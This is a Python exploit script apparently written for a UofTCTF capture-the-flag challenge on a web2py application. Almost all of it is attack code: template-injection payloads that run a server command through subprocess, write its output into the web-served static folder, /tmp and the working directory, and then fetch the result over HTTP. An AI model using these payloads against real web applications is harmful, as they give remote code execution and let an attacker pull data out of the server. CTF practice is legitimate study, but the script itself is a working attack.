#!/usr/bin/env python3
"""
Exfiltrate flag by writing to static file accessible via web
"""

import requests
import urllib3
import time

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def write_flag_to_static():
    """Write flag to a static file we can access"""
    
    # Try to write flag to various locations
    payloads = [
        # Write to applications/welcome/static/
        "{{=open('/home/web2py/applications/welcome/static/flag.txt','w').write(__import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try current directory
        "{{=open('flag.txt','w').write(__import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try /tmp
        "{{=open('/tmp/flag.txt','w').write(__import__('subprocess').check_output(['/readflag']).decode())}}",
    ]
    
    for payload in payloads:
        print(f"\n[>] Attempting to write flag with payload...")
        
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=10
        )
        
        print(f"    Status: {response.status_code}")
        time.sleep(1)
        
        # Try to access the written files
        access_urls = [
            BASE_URL + "/welcome/static/flag.txt",
            BASE_URL + "/flag.txt",
            BASE_URL + "/static/flag.txt",
        ]
        
        for url in access_urls:
            print(f"[>] Checking {url}...")
            try:
                r = requests.get(url, verify=False, timeout=5)
                if r.status_code == 200 and "uoftctf{" in r.text:
                    print(f"\n[!!!] FLAG FOUND at {url}!")
                    print(f"\nFLAG: {r.text.strip()}\n")
                    return r.text.strip()
            except:
                pass
    
    return None

if __name__ == "__main__":
    flag = write_flag_to_static()
    if not flag:
        print("\n[*] Could not write/access flag via static files.")
        print("[*] Trying error-based exfiltration...")
